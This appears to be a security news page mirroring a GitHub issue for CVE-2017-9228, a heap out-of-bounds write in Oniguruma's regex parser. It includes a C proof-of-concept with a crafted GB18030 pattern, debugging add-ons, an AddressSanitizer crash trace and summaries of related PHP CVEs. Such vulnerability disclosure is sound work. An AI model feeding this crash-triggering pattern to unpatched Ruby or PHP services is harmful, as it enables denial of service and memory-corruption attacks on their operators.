Security
Headlines
HeadlinesLatestCVEs

Headline

CVE-2017-9228: Heap corruption in next_state_val() due to uninitialized local variable · Issue #60 · kkos/oniguruma

An issue was discovered in Oniguruma 6.2.0, as used in Oniguruma-mod in Ruby through 2.4.1 and mbstring in PHP through 7.1.5. A heap out-of-bounds write occurs in bitset_set_range() during regular expression compilation due to an uninitialized variable from an incorrect state transition. An incorrect state transition in parse_char_class() could create an execution path that leaves a critical local variable uninitialized until it’s used as an index, resulting in an out-of-bounds write memory corruption.

CVE
#linux#php#ruby

The following non-deterministic behavior can be triggered from the following code. With ASAN enabled, on 64-bit platform, the crash reproduces within 3-10 runs.

#include <stdio.h> #include “oniguruma.h”

static int exec(OnigEncoding enc, OnigOptionType options, char* apattern, char* astr, int pattern_len, unsigned char *end, OnigSyntaxType* sytax) { int r; regex_t* reg; OnigErrorInfo einfo; UChar* pattern = (UChar* )apattern; UChar* str = (UChar* )astr;

onig\_initialize(&enc, 1);

r = onig\_new(&reg, pattern,
             pattern + pattern\_len,
             options, enc, sytax , &einfo);
if (r != ONIG\_NORMAL) {
    char s\[ONIG\_MAX\_ERROR\_MESSAGE\_LEN\];
    onig\_error\_code\_to\_str(s, r, &einfo);
    fprintf(stderr, "ERROR: %s\\n", s);
    return -1;
}

onig\_free(reg);
onig\_end();
return 0;

}

extern int main(int argc, char* argv[]) { int r; /* ISO 8859-1 test */ static unsigned char str[] = { 0xc7, 0xd6, 0xfe, 0xea, 0xe0, 0xe2, 0x00 };

char\* pattern = "\\x5b\\x5c\\x48\\x2d\\xb0\\x30\\x8d\\x30\\x2a\\x5b\\x5d\\x20\\x20\\x5d"
    "\\xf9\\x54\\x00\\x7f\\x5c\\x63\\xef\\xef\\xef\\xef\\x52\\xf7\\xf7\\x52"
    "\\xf7\\xeb\\xeb\\x70\\x2b\\xf7\\x7b\\x30\\x2c\\x32\\x7d";

r = exec(ONIG\_ENCODING\_GB18030, ONIG\_OPTION\_IGNORECASE,pattern, (char\*) str, 39, str + 7, ONIG\_SYNTAX\_DEFAULT);
r = exec(ONIG\_ENCODING\_GB18030, ONIG\_OPTION\_IGNORECASE,pattern, (char\*) str, 39, str + 7, ONIG\_SYNTAX\_DEFAULT);

return r;

}

With some add-on:

static int parse_char_class(Node** np, OnigToken* tok, UChar** src, UChar* end, ScanEnv* env) { int r, neg, len, fetched, and_start; OnigCodePoint v, vs; UChar *p; Node* node; CClassNode *cc, *prev_cc; CClassNode work_cc;

printf("*vs (init) = %lu\n", (unsigned long)vs);

static void bitset_set_range(BitSetRef bs, int from, int to) { int i; for (i = from; i <= to && i < SINGLE_BYTE_SIZE; i++) { fprintf(stderr, "bs=%p, i=%lu\n", (unsigned int*)bs, i); BITSET_SET_BIT(bs, i); } }

ASAN report:

*vs (init) = 2953750392
*vs (from) = 2953750392, v=2955971888
bs=0x60600000ef08, i=2953750392
ASAN:SIGSEGV
=================================================================
==22101==ERROR: AddressSanitizer: SEGV on unknown address 0x000000000000 (pc 0x0000004030d0 bp 0x7ffe925592c0 sp 0x7ffe925592a0 T0)
    #0 0x4030cf in bitset_set_range /home/xie/Downloads/oni/onig-test-develop/src/regparse.c:203
    #1 0x419b72 in next_state_val /home/xie/Downloads/oni/onig-test-develop/src/regparse.c:4142
    #2 0x41ab77 in parse_char_class /home/xie/Downloads/oni/onig-test-develop/src/regparse.c:4329
    #3 0x41f7b6 in parse_exp /home/xie/Downloads/oni/onig-test-develop/src/regparse.c:5174
    #4 0x420728 in parse_branch /home/xie/Downloads/oni/onig-test-develop/src/regparse.c:5339
    #5 0x420bae in parse_subexp /home/xie/Downloads/oni/onig-test-develop/src/regparse.c:5385
    #6 0x420fc8 in parse_regexp /home/xie/Downloads/oni/onig-test-develop/src/regparse.c:5433
    #7 0x421454 in onig_parse_make_tree /home/xie/Downloads/oni/onig-test-develop/src/regparse.c:5464
    #8 0x43de89 in onig_compile /home/xie/Downloads/oni/onig-test-develop/src/regcomp.c:5326
    #9 0x43ed8b in onig_new /home/xie/Downloads/oni/onig-test-develop/src/regcomp.c:5565
    #10 0x4011d8 in exec /home/xie/Downloads/oni/onig-test-develop/test/testc.c:17
    #11 0x4013f6 in main /home/xie/Downloads/oni/onig-test-develop/test/testc.c:43
    #12 0x7f62aebd082f in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2082f)
    #13 0x400f98 in _start (/home/xie/Downloads/oni/onig-test-develop/test/testc+0x400f98)

AddressSanitizer can not provide additional info.
SUMMARY: AddressSanitizer: SEGV /home/xie/Downloads/oni/onig-test-develop/src/regparse.c:203 bitset_set_range
==22101==ABORTING

The probabilistic reproducer triggers a heap OOB write when the local variable OnigCodePoint vs in parse_char_class() is not initialized, following the call as:

parse_char_class() -> next_state_val() -> bitset_set_range()

resulting in the said crash.

Note the calls to exec() is currently necessary to trigger the crash.

Related news

CVE-2016-5771: PHP: PHP 5 ChangeLog

spl_array.c in the SPL extension in PHP before 5.5.37 and 5.6.x before 5.6.23 improperly interacts with the unserialize implementation and garbage collection, which allows remote attackers to execute arbitrary code or cause a denial of service (use-after-free and application crash) via crafted serialized data.

CVE-2016-4343: PHP: PHP 7 ChangeLog

The phar_make_dirstream function in ext/phar/dirstream.c in PHP before 5.6.18 and 7.x before 7.0.3 mishandles zero-size ././@LongLink files, which allows remote attackers to cause a denial of service (uninitialized pointer dereference) or possibly have unspecified other impact via a crafted TAR archive.

CVE-2014-3479: PHP: PHP 5 ChangeLog

The cdf_check_stream_offset function in cdf.c in file before 5.19, as used in the Fileinfo component in PHP before 5.4.30 and 5.5.x before 5.5.14, relies on incorrect sector-size data, which allows remote attackers to cause a denial of service (application crash) via a crafted stream offset in a CDF file.

CVE: Latest News

CVE-2023-50976: Transactions API Authorization by oleiman · Pull Request #14969 · redpanda-data/redpanda
CVE-2023-6905
CVE-2023-6903
CVE-2023-6904
CVE-2023-3907